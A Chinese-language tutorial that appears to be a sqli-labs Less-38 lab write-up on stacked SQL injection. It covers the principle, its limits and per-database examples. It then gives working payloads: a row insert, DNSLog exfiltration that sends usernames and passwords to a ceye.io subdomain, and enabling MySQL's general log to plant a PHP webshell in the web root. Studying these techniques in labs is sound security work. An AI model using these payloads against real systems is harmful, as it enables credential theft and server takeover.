stacked injection
Stacked injection: 堆叠注入。从名词的含义就可以看出应该是一堆 sql 语句一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要命令行中,每一条语句结尾加;
表示语句结束。这样我们就想到了是不是可以多句一起使用,这个叫做 stacked injection.
原理介绍
在 SQL 中,分号;
是用来表示一条 sql 语句的结束,如果在注入过程中在;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入。下面是简单的示例:
与 union select 联合查询语句相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。
局限性
1、并不是每一个环境下都可以执行,可能受 API 或者数据引擎的影响。
2、在 WEB 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。因此在读数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
各个数据库堆叠查询的实例
MySQL
select * from users where id=1;select version();
SQL Server
select 1,2,3;select * from test;
Postgresql
select * from user_test;select 1,2,3;
less-38
源码分析
可以发现跟之前的代码差别不大,唯一区别的就是 SQL 查询语句由原来的mysql_query($sql)
变成了mysqli_multi_query($con1, $sql)
mysqli_multi_query
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句,这就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句的执行。
添加字段:?id=1'; insert into users(username,password) values ('rabbit','n0va');
数据库中查看是否添加成功
堆叠注入可以执行任意SQL语句,但是怎么利用天书中也没有细说,这里参考国光博客提到的两种利用方式。
DNSLog数据外带
需要条件:
load_file函数在Linux下是无法用来做DNSLog攻击的,因为这里涉及到Windows的UNC路径。
其实我们平常在Windows中用共享文件的时候就会用到这种网络地址的形式。
\\192.168.31.53\test\
CONCAT()函数拼接4个\
了因为转义的问题,4个\
就变成了2个\
,目地就是利用UNC路径。
因为Linux没有UNC 路径这个东西所以MYSQL处于 Linux系统 中的时候,是不能使用这种方式外带数据的。?id=1'; select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.xxxxxx.ceye.io\\abc')) --+
Hex编码的目的是减少干扰,因为域名是有一定规范的,有些特殊符号是不能带入的。
手动解Hex即可。
开启日志Getshell
需要条件:
- Web 的物理路径
- MYSQL可以读写 Web 目录
- Windows成功率高于Linux
首先查看当前日志的相关配置:
mysql> show variables like 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------------------------+
| general_log | OFF |
| general_log_file | E:\phpstudy_pro\Extensions\MySQL5.5.29\data\LAPTOP-UE7UFJ86.log |
+------------------+-----------------------------------------------------------------+
2 rows in set (0.00 sec)
这里尝试注入的时候手动开启:
?id=1';set global general_log="ON";set global general_log_file='E:\\phpstudy_pro\\WWW\\sqlilabs\\shell.php';--+
再次查看日志配置是否被修改:
mysql> show variables like 'general%';
+------------------+------------------------------------+
| Variable_name | Value |
+------------------+------------------------------------+
| general_log | ON |
| general_log_file | E:phpstudy_proWWWsqlilabsshell.php |
+------------------+------------------------------------+
2 rows in set (0.00 sec)
尝试 getshell:
?id=1';select <?php phpinfo();?>